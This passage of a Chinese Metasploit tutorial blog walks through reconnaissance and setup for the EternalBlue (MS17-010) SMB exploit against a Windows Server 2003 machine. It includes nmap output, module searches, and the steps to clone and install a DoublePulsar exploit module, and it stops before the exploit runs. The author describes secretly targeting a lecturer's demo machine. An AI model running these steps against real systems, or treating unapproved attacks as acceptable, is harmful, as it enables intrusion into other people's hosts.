metasploit学习之路(四)记一次实战--永恒之蓝(MS017-010)

在我的metasploit的学习博客中，也算是实操的一篇，可以对使用流程和一些必要的命令进行学习。

永恒之蓝这个漏洞我没有复现过，但是这一次偶然的机会玩了一把。
大佬在讲台上面传授经验，用的是windows server 2003，于是我偷偷玩了一把，下面说下流程。

1、首先nmap扫描：

msf5 > nmap -sS -sV -A -O -v 10.1.2.217
[*] exec: nmap -sS -sV -A -O -v 10.1.2.217
…………                     //中间过程省略
Nmap scan report for 10.1.2.217
Host is up (0.00099s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE       VERSION
81/tcp   open  http          Microsoft IIS httpd 6.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT POST MOVE MKCOL PROPPATCH
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: \xBD\xA8\xC9\xE8\xD6\xD0
| http-webdav-scan: 
|   Server Type: Microsoft-IIS/6.0
|   WebDAV type: Unkown
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_  Server Date: Sat, 13 Jul 2019 05:24:02 GMT
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows Server 2003 3790 Service Pack 2 microsoft-ds
1025/tcp open  msrpc         Microsoft Windows RPC
3389/tcp open  ms-wbt-server Microsoft Terminal Service
MAC Address: 00:1C:42:E3:BA:AE (Parallels)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS CPE: cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows XP SP2 or Windows Server 2003 SP1 or SP2
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

Host script results:
|_clock-skew: mean: -4h00m00s, deviation: 5h39m23s, median: -7h59m59s
| nbstat: NetBIOS name: RCSECAFB4, NetBIOS user: <unknown>, NetBIOS MAC: 00:1c:42:e3:ba:ae (Parallels)
| Names:
|   RCSECAFB4<00>        Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   RCSECAFB4<20>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
| smb-os-discovery: 
|   OS: Windows Server 2003 3790 Service Pack 2 (Windows Server 2003 5.2)
|   OS CPE: cpe:/o:microsoft:windows_server_2003::sp2
|   Computer name: rcsecafb4
|   NetBIOS computer name: RCSECAFB4\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-07-13T13:24:03+08:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)     //最下面是关于smb的分析，看到这里有dengerous的提示
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.99 ms 10.1.2.217

NSE: Script Post-scanning.
Initiating NSE at 13:28
Completed NSE at 13:28, 0.00s elapsed
Initiating NSE at 13:28
Completed NSE at 13:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 278.53 seconds
           Raw packets sent: 1098 (49.010KB) | Rcvd: 1017 (41.246KB)

于是开始使用msf尝试smb的漏洞。

2、msf找smb漏洞利用组件

msf5>search smb             //搜索到好多，不列出来了就，偶尔看到了永恒之蓝，于是先试一试
58   auxiliary/scanner/smb/smb_ms17_010                                               normal     Yes    MS17-010 SMB RCE Detection

103  exploit/windows/smb/ms17_010_eternalblue                        2017-03-14       average    Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
104  exploit/windows/smb/ms17_010_eternalblue_win8                   2017-03-14       average    No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
105  exploit/windows/smb/ms17_010_psexec  

先是用exploit/windows/smb/ms17_010_eternalblue这个打了一下，没有成功，于是网上查了相关方法，找到了这个利用脚本：git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
下载之后，把脚本挪到msf里

cp eternalblue_doublepulsar.rb   /opt/metasploit-framework/embedded/framework/modules/exploits/windows/smb/

然后在msf中使用命令reload_all，重新加载所有组件，然后再search：

msf